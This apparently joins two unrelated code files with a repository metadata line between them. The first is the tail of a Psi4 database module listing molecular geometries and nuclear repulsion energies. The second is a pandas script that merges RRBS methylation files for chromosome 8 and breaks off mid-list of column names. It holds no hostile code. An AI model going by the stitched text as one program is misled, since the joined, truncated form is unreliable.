1.68084455 0.97043609 2.14455455 H 1.68084455 -0.97043609 -2.14455455 H -1.68084455 0.97043609 2.14455455 H -1.68084455 -0.97043609 -2.14455455 H 0.00000000 -1.94087219 2.14455455 H 0.00000000 1.94087219 -2.14455455 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'ethanol')] = qcdb.Molecule(""" 0 1 O 2.94951269 0.00000000 0.00000000 C 0.42864361 0.89070972 0.00000000 C -1.47274991 -1.22612707 0.00000000 H 4.05795769 1.50458064 0.00000000 H 0.07017562 2.06834349 1.69306899 H 0.07017562 2.06834349 -1.69306899 H -1.36184741 -2.46035674 1.67199009 H -1.36184741 -2.46035674 -1.67199009 H -3.38002050 -0.38513679 0.00000000 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'furan')] = qcdb.Molecule(""" 0 1 O 0.00000000 -2.71155703 0.00000000 C 1.30409645 1.35600277 0.00000000 C -1.30409645 1.35600277 0.00000000 C 2.07680908 -1.14870311 0.00000000 C -2.07680908 -1.14870311 0.00000000 H 2.51639050 2.99782755 0.00000000 H -2.51639050 2.99782755 0.00000000 H 3.99399875 -1.84934869 0.00000000 H -3.99399875 -1.84934869 0.00000000 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'histidine')] = qcdb.Molecule(""" 0 1 O 3.93683911 0.00000000 5.02858545 O 0.00000000 0.00000000 6.75548572 N -1.62714005 -0.17063169 -6.38981145 N -1.55525882 2.75691585 -2.98858739 N -0.06519044 -3.43699076 1.78152280 C 0.00313112 -0.96382673 -4.49205004 C 0.04394056 0.76526971 -2.47860156 C -2.44306081 2.04255765 -5.31626413 C 1.61712938 0.55012280 -0.07100455 C 0.25915307 -0.68070217 2.22272340 C 1.63605981 -0.20456172 4.77295177 H 1.09061008 -2.68966721 -4.55294959 H -1.91653466 4.35407321 -1.95395961 H -3.77917584 3.21725531 -6.32817718 H 2.24417172 2.47631265 0.44479551 H 3.39934986 -0.46804317 -0.47537143 H -1.63798632 0.18516799 2.40194434 H -1.09297021 -4.24259361 3.21643716 H -1.09919371 -3.74001070 0.16810497 H 0.98612615 0.24935257 8.25422581 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'hydroxysulphane')] = qcdb.Molecule(""" 0 1 S 0.00000000 0.00000000 1.64344454 O 1.55643788 0.00000000 -0.78417924 H 0.70878977 -0.98889634 -2.04698233 H -2.26522765 0.98889634 1.18771703 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'menthone')] = qcdb.Molecule(""" 0 1 O 0.00000000 0.00000000 4.83502957 C -5.06597212 -1.27592091 0.49885049 C -3.60348796 -1.49111229 -2.01995066 C -1.13779972 0.12182250 -2.02402508 C 0.69335828 -0.53324847 0.24699141 C -0.81879368 -0.76420189 2.79442766 C -3.41755812 -2.06413311 2.77868746 C 0.08327139 -0.18247958 -4.66184769 C 3.16977849 1.11788425 0.33780916 C 5.23967937 0.00000000 2.05851212 C 2.74820737 3.91648659 1.03692914 H -5.73534045 0.69223903 0.75660810 H -6.80139535 -2.44289264 0.43045930 H -3.15419510 -3.50140339 -2.39715388 H -4.86109777 -0.90264082 -3.58603040 H -1.71463208 2.12647811 -1.82542348 H 1.33530286 -2.48925976 -0.10949068 H -4.41049264 -1.64891601 4.56938165 H -3.10227312 -4.12767303 2.77142958 H -1.27515064 0.19340176 -6.20625544 H 0.83979297 -2.10810531 -4.96157719 H 1.65711962 1.15531285 -4.96195049 H 4.01314574 1.10167735 -1.57473542 H 4.69908810 0.02990650 4.07747056 H 7.03475689 1.05859686 1.90111311 H 5.66887645 -1.98486988 1.56898286 H 4.52277834 5.01677786 0.95132487 H 1.98900684 4.13531008 2.97264568 H 1.40402606 4.85096335 -0.25821233 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'mesityl_oxide')] = qcdb.Molecule(""" 0 1 O 4.30492455 0.00000000 0.00000000 C 0.05024721 -3.82629843 0.00000000 C -1.35087834 -1.32752917 0.00000000 C -4.20838872 -1.49335398 0.00000000 C -0.19920658 0.94023239 0.00000000 C 2.60618767 1.58735088 0.00000000 C 3.31537901 4.37315331 0.00000000 H 1.28461121 -4.00174347 1.67716810 H 1.28461121 -4.00174347 -1.67716810 H -1.21281465 -5.48980179 0.00000000 H -5.04695592 -0.57944060 1.68053694 H -5.04695592 -0.57944060 -1.68053694 H -4.87911033 -3.47264458 0.00000000 H -1.42668593 2.59614349 0.00000000 H 2.56758840 5.33389639 1.69384111 H 2.56758840 5.33389639 -1.69384111 H 5.38985873 4.60732325 0.00000000 units bohr """) #set { guess gwh """) GEOS['%s-%s-reagent' % (dbse, 'methylamine')] = qcdb.Molecule(""" 0 1 N 1.59169309 0.00000000 0.00000000 C -1.10781247 -0.03073718 0.00000000 H 2.61432616 -1.63020032 0.00000000 H -1.81666320 1.93163906 0.00000000 H 2.57804913 1.64911594 0.00000000 H -1.92979635 -0.95990875 1.69695191 H -1.92979635 -0.95990875 -1.69695191 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'naphthalene')] = qcdb.Molecule(""" 0 1 C 1.31500993 4.56625993 0.00000000 C -1.31500993 4.56625993 0.00000000 C 1.31500993 -4.56625993 0.00000000 C -1.31500993 -4.56625993 0.00000000 C 2.65095410 2.30121210 0.00000000 C -2.65095410 2.30121210 0.00000000 C 2.65095410 -2.30121210 0.00000000 C -2.65095410 -2.30121210 0.00000000 C 1.35957848 0.00000000 0.00000000 C -1.35957848 0.00000000 0.00000000 H 2.32713807 6.33915590 0.00000000 H -2.32713807 6.33915590 0.00000000 H 2.32713807 -6.33915590 0.00000000 H -2.32713807 -6.33915590 0.00000000 H 4.69449351 2.36375141 0.00000000 H -4.69449351 2.36375141 0.00000000 H 4.69449351 -2.36375141 0.00000000 H -4.69449351 -2.36375141 0.00000000 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'neopentane')] = qcdb.Molecule(""" 0 1 C 0.00000000 0.00000000 0.00000000 C 1.68781269 -1.68781269 1.68781269 C -1.68781269 1.68781269 1.68781269 C -1.68781269 -1.68781269 -1.68781269 C 1.68781269 1.68781269 -1.68781269 H 2.93275937 -0.55961452 2.93275937 H -2.93275937 0.55961452 2.93275937 H 2.93275937 0.55961452 -2.93275937 H -2.93275937 -0.55961452 -2.93275937 H 0.55961452 -2.93275937 2.93275937 H -0.55961452 2.93275937 2.93275937 H -0.55961452 -2.93275937 -2.93275937 H 0.55961452 2.93275937 -2.93275937 H 2.93275937 -2.93275937 0.55961452 H -2.93275937 2.93275937 0.55961452 H -2.93275937 -2.93275937 -0.55961452 H 2.93275937 2.93275937 -0.55961452 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'pterin')] = qcdb.Molecule(""" 0 1 O 5.40068710 0.00000000 0.00000000 N 1.67450469 -4.01224809 0.00000000 N -3.29778810 -2.66298586 0.00000000 N 2.41435003 2.98093954 0.00000000 N -2.07868639 1.96577816 0.00000000 N -1.05941931 6.33383022 0.00000000 C 1.04506477 -1.58869528 0.00000000 C -1.57825490 -0.83595727 0.00000000 C -0.10078959 -5.76401042 0.00000000 C -2.66568392 -5.07794600 0.00000000 C 3.13177958 0.52435884 0.00000000 C -0.33744328 3.67065942 0.00000000 H 0.42296241 -7.73663229 0.00000000 H -4.11548210 -6.51452882 0.00000000 H 3.70204141 4.43045951 0.00000000 H -2.96601438 6.68621706 0.00000000 H 0.40817199 7.60076128 0.00000000 units bohr """) #set { guess gwh """) GEOS['%s-%s-reagent' % (dbse, 'water')] = qcdb.Molecule(""" 0 1 O 0.00000000 -0.69801390 0.00000000 H 1.48150016 0.34900695 0.00000000 H -1.48150016 0.34900695 0.00000000 units bohr """) ######################################################################### # <<< Supplementary Quantum Chemical Results >>> DATA = {} DATA['NUCLEAR REPULSION ENERGY'] = {} DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-1_3_5_trifluorobenzene-reagent' ] = 422.92396136 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-1_3_5_trisilacyclohexane-reagent'] = 458.36587183 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-1_3_difluorobenzene-reagent' ] = 342.91092587 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-1_5_difluoronaphthalene-reagent' ] = 646.43123032 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-2_hydroxybicyclopentane-reagent' ] = 242.19428832 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-ACANIL01-reagent' ] = 482.21477925 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-acetone-reagent' ] = 117.95076939 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-acetylene-reagent' ] = 25.27722466 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-ACHTAR10-reagent' ] = 308.80224696 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-allene-reagent' ] = 58.87417679 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-ammonia-reagent' ] = 11.96515487 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-benzaldehyde-reagent' ] = 318.78609908 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-benzene-reagent' ] = 203.68596051 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-benzidine-reagent' ] = 792.45947768 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-caffeine-reagent' ] = 906.96430213 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-difuropyrazine-reagent' ] = 627.88695998 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-dimethylpentane-reagent' ] = 329.98386705 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-disilyl_ether-reagent' ] = 159.72016132 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-ethane-reagent' ] = 42.23178002 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-ethanol-reagent' ] = 81.36264622 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-furan-reagent' ] = 160.13552808 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-histidine-reagent' ] = 593.28835805 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-hydroxysulphane-reagent' ] = 61.30095938 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-menthone-reagent' ] = 661.81731171 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-mesityl_oxide-reagent' ] = 286.76670258 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-methylamine-reagent' ] = 42.02150992 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-naphthalene-reagent' ] = 460.06217417 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-neopentane-reagent' ] = 196.29453370 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-pterin-reagent' ] = 650.63929481 DATA['NUCLEAR REPULSION ENERGY']['BAKERJCC93-water-reagent' ] = 9.15711319
jH0ward/psi4
psi4/share/psi4/databases/BAKERJCC93.py
Python
lgpl-3.0
42,456
[ "Psi4" ]
b0ce2744f325c487ffcce9da07aedf06d7d8f808f9656f4b08094c4dcca44aa5
import glob import pandas as pd import numpy as np pd.set_option('display.max_columns', 50) # print all rows import os os.chdir("/gpfs/commons/home/biederstedte-934/evan_projects/correct_phylo_files") normalB = glob.glob("binary_position_RRBS_normal_B_cell*") mcell = glob.glob("binary_position_RRBS_NormalBCD19pCD27mcell*") pcell = glob.glob("binary_position_RRBS_NormalBCD19pCD27pcell*") cd19cell = glob.glob("binary_position_RRBS_NormalBCD19pcell*") cw154 = glob.glob("binary_position_RRBS_cw154*") trito = glob.glob("binary_position_RRBS_trito_pool*") print(len(normalB)) print(len(mcell)) print(len(pcell)) print(len(cd19cell)) print(len(cw154)) print(len(trito)) totalfiles = normalB + mcell + pcell + cd19cell + cw154 + trito print(len(totalfiles)) df_list = [] for file in totalfiles: df = pd.read_csv(file) df = df.drop("Unnamed: 0", axis=1) df["chromosome"] = df["position"].map(lambda x: str(x)[:5]) df = df[df["chromosome"] == "chr8_"] df = df.drop("chromosome", axis=1) df_list.append(df) print(len(df_list)) total_matrix = pd.concat([df.set_index("position") for df in df_list], axis=1).reset_index().astype(object) total_matrix = total_matrix.drop("index", axis=1) len(total_matrix.columns) total_matrix.columns = ["RRBS_normal_B_cell_A1_24_TAAGGCGA.ACAACC", "RRBS_normal_B_cell_A1_24_TAAGGCGA.ACCGCG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.ACGTGG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.AGGATG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.ATAGCG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.ATCGAC", "RRBS_normal_B_cell_A1_24_TAAGGCGA.CAAGAG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.CATGAC", "RRBS_normal_B_cell_A1_24_TAAGGCGA.CGGTAG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.CTATTG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.CTCAGC", "RRBS_normal_B_cell_A1_24_TAAGGCGA.GACACG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.GCTGCC", "RRBS_normal_B_cell_A1_24_TAAGGCGA.GGCATC", "RRBS_normal_B_cell_A1_24_TAAGGCGA.GTGAGG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.GTTGAG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.TAGCGG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.TATCTC", "RRBS_normal_B_cell_A1_24_TAAGGCGA.TCTCTG", "RRBS_normal_B_cell_A1_24_TAAGGCGA.TGACAG", "RRBS_normal_B_cell_B1_24_CGTACTAG.ACAACC", "RRBS_normal_B_cell_B1_24_CGTACTAG.ACCGCG", "RRBS_normal_B_cell_B1_24_CGTACTAG.ACTCAC", "RRBS_normal_B_cell_B1_24_CGTACTAG.ATAGCG", "RRBS_normal_B_cell_B1_24_CGTACTAG.CAAGAG", "RRBS_normal_B_cell_B1_24_CGTACTAG.CATGAC", "RRBS_normal_B_cell_B1_24_CGTACTAG.CCTTCG", "RRBS_normal_B_cell_B1_24_CGTACTAG.CGGTAG", "RRBS_normal_B_cell_B1_24_CGTACTAG.CTATTG", "RRBS_normal_B_cell_B1_24_CGTACTAG.CTCAGC", "RRBS_normal_B_cell_B1_24_CGTACTAG.GACACG", "RRBS_normal_B_cell_B1_24_CGTACTAG.GCATTC", "RRBS_normal_B_cell_B1_24_CGTACTAG.GGCATC", "RRBS_normal_B_cell_B1_24_CGTACTAG.GTGAGG", "RRBS_normal_B_cell_B1_24_CGTACTAG.GTTGAG", "RRBS_normal_B_cell_B1_24_CGTACTAG.TAGCGG", "RRBS_normal_B_cell_B1_24_CGTACTAG.TATCTC", "RRBS_normal_B_cell_B1_24_CGTACTAG.TCTCTG", "RRBS_normal_B_cell_B1_24_CGTACTAG.TGACAG", "RRBS_normal_B_cell_B1_24_CGTACTAG.TGCTGC", "RRBS_normal_B_cell_C1_24_AGGCAGAA.ACAACC", "RRBS_normal_B_cell_C1_24_AGGCAGAA.ACCGCG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.ACGTGG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.ACTCAC", "RRBS_normal_B_cell_C1_24_AGGCAGAA.AGGATG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.ATAGCG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.ATCGAC", "RRBS_normal_B_cell_C1_24_AGGCAGAA.CAAGAG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.CATGAC", "RRBS_normal_B_cell_C1_24_AGGCAGAA.CGGTAG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.CTATTG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.GACACG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.GCATTC", "RRBS_normal_B_cell_C1_24_AGGCAGAA.GCTGCC", "RRBS_normal_B_cell_C1_24_AGGCAGAA.GGCATC", "RRBS_normal_B_cell_C1_24_AGGCAGAA.GTGAGG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.GTTGAG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.TAGCGG", "RRBS_normal_B_cell_C1_24_AGGCAGAA.TATCTC", "RRBS_normal_B_cell_D1_24_TCCTGAGC.ACAACC", "RRBS_normal_B_cell_D1_24_TCCTGAGC.ACCGCG", "RRBS_normal_B_cell_D1_24_TCCTGAGC.ACGTGG", "RRBS_normal_B_cell_D1_24_TCCTGAGC.ACTCAC", "RRBS_normal_B_cell_D1_24_TCCTGAGC.AGGATG", "RRBS_normal_B_cell_D1_24_TCCTGAGC.ATCGAC", "RRBS_normal_B_cell_D1_24_TCCTGAGC.CAAGAG", "RRBS_normal_B_cell_D1_24_TCCTGAGC.CATGAC", "RRBS_normal_B_cell_D1_24_TCCTGAGC.CCTTCG", "RRBS_normal_B_cell_D1_24_TCCTGAGC.CGGTAG", "RRBS_normal_B_cell_D1_24_TCCTGAGC.CTATTG", "RRBS_normal_B_cell_D1_24_TCCTGAGC.CTCAGC", "RRBS_normal_B_cell_D1_24_TCCTGAGC.GACACG", "RRBS_normal_B_cell_D1_24_TCCTGAGC.GCATTC", "RRBS_normal_B_cell_D1_24_TCCTGAGC.GCTGCC", "RRBS_normal_B_cell_D1_24_TCCTGAGC.GGCATC", "RRBS_normal_B_cell_D1_24_TCCTGAGC.GTTGAG", "RRBS_normal_B_cell_D1_24_TCCTGAGC.TAGCGG", "RRBS_normal_B_cell_D1_24_TCCTGAGC.TATCTC", "RRBS_normal_B_cell_G1_22_GGACTCCT.ACAACC", "RRBS_normal_B_cell_G1_22_GGACTCCT.ACCGCG", "RRBS_normal_B_cell_G1_22_GGACTCCT.ACGTGG", "RRBS_normal_B_cell_G1_22_GGACTCCT.ACTCAC", "RRBS_normal_B_cell_G1_22_GGACTCCT.AGGATG", "RRBS_normal_B_cell_G1_22_GGACTCCT.ATAGCG", "RRBS_normal_B_cell_G1_22_GGACTCCT.ATCGAC", "RRBS_normal_B_cell_G1_22_GGACTCCT.CAAGAG", "RRBS_normal_B_cell_G1_22_GGACTCCT.CATGAC", "RRBS_normal_B_cell_G1_22_GGACTCCT.CGGTAG", "RRBS_normal_B_cell_G1_22_GGACTCCT.CTATTG", "RRBS_normal_B_cell_G1_22_GGACTCCT.CTCAGC", "RRBS_normal_B_cell_G1_22_GGACTCCT.GACACG", "RRBS_normal_B_cell_G1_22_GGACTCCT.GCATTC", "RRBS_normal_B_cell_G1_22_GGACTCCT.GCTGCC", "RRBS_normal_B_cell_G1_22_GGACTCCT.GGCATC", "RRBS_normal_B_cell_G1_22_GGACTCCT.GTGAGG", "RRBS_normal_B_cell_G1_22_GGACTCCT.TAGCGG", "RRBS_normal_B_cell_G1_22_GGACTCCT.TATCTC", "RRBS_normal_B_cell_H1_22_TAGGCATG.ACCGCG", "RRBS_normal_B_cell_H1_22_TAGGCATG.ACGTGG", "RRBS_normal_B_cell_H1_22_TAGGCATG.ACTCAC", "RRBS_normal_B_cell_H1_22_TAGGCATG.AGGATG", "RRBS_normal_B_cell_H1_22_TAGGCATG.ATCGAC", "RRBS_normal_B_cell_H1_22_TAGGCATG.CAAGAG", "RRBS_normal_B_cell_H1_22_TAGGCATG.CATGAC", "RRBS_normal_B_cell_H1_22_TAGGCATG.CCTTCG", "RRBS_normal_B_cell_H1_22_TAGGCATG.CTATTG", "RRBS_normal_B_cell_H1_22_TAGGCATG.CTCAGC", "RRBS_normal_B_cell_H1_22_TAGGCATG.GCATTC", "RRBS_normal_B_cell_H1_22_TAGGCATG.GCTGCC", "RRBS_normal_B_cell_H1_22_TAGGCATG.GGCATC", "RRBS_normal_B_cell_H1_22_TAGGCATG.GTGAGG", "RRBS_normal_B_cell_H1_22_TAGGCATG.GTTGAG", "RRBS_normal_B_cell_H1_22_TAGGCATG.TCTCTG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.ACCGCG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.ACGTGG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.ACTCAC", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.ATAGCG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.ATCGAC", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.CAAGAG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.CATGAC", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.CCTTCG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.CTATTG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.CTCAGC", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.GACACG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.GCATTC", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.GCTGCC", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.GGCATC", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.GTGAGG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.GTTGAG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.TAGCGG", "RRBS_NormalBCD19pCD27mcell1_22_CGAGGCTG.TATCTC", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.ACAACC", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.ACCGCG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.ACGTGG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.ACTCAC", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.AGGATG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.ATAGCG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.ATCGAC", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.CAAGAG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.CATGAC", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.CCTTCG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.CGGTAG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.CTATTG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.CTCAGC", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.GACACG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.GCATTC", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.GTGAGG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.GTTGAG", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.TATCTC", "RRBS_NormalBCD19pCD27mcell23_44_GTAGAGGA.TCTCTG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.ACAACC", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.ACGTGG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.ACTCAC", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.AGGATG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.ATAGCG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.ATCGAC", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.CAAGAG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.CATGAC", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.CCTTCG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.CGGTAG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.CTATTG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.CTCAGC", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.GACACG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.GTGAGG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.TAGCGG", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.TATCTC", "RRBS_NormalBCD19pCD27mcell45_66_TAAGGCGA.TCTCTG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.ACAACC", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.ACCGCG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.ACGTGG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.ACTCAC", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.AGGATG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.ATAGCG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.ATCGAC", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.CAAGAG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.CATGAC", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.CCTTCG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.CGGTAG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.CTATTG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.CTCAGC", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.GACACG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.GCATTC", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.GGCATC", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.GTGAGG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.GTTGAG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.TAGCGG", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.TATCTC", "RRBS_NormalBCD19pCD27mcell67_88_CGTACTAG.TCTCTG", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.ACAACC", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.ACCGCG", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.ACTCAC", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.AGGATG", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.ATAGCG", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.ATCGAC", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.CAAGAG", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.CATGAC", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.CCTTCG", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.CGGTAG", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.CTATTG", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.CTCAGC", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.GCATTC", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.GCTGCC", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.GGCATC", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.GTGAGG", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.GTTGAG", "RRBS_NormalBCD19pCD27pcell1_22_TAGGCATG.TAGCGG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.ACAACC", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.ACCGCG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.ACGTGG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.ACTCAC", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.AGGATG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.ATAGCG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.ATCGAC", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.CAAGAG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.CATGAC", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.CCTTCG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.CGGTAG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.CTATTG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.CTCAGC", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.GACACG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.GCATTC", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.GCTGCC", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.GGCATC", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.GTGAGG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.GTTGAG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.TAGCGG", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.TATCTC", "RRBS_NormalBCD19pCD27pcell23_44_CTCTCTAC.TCTCTG", "RRBS_NormalBCD19pCD27pcell45_66_CAGAGAGG.ACCGCG", "RRBS_NormalBCD19pCD27pcell45_66_CAGAGAGG.ACTCAC", "RRBS_NormalBCD19pCD27pcell45_66_CAGAGAGG.ATAGCG", "RRBS_NormalBCD19pCD27pcell45_66_CAGAGAGG.CAAGAG", "RRBS_NormalBCD19pCD27pcell45_66_CAGAGAGG.CCTTCG", "RRBS_NormalBCD19pCD27pcell45_66_CAGAGAGG.CTATTG", "RRBS_NormalBCD19pCD27pcell45_66_CAGAGAGG.GACACG", "RRBS_NormalBCD19pCD27pcell45_66_CAGAGAGG.GTGAGG", "RRBS_NormalBCD19pCD27pcell45_66_CAGAGAGG.TAGCGG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.ACAACC", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.ACCGCG", 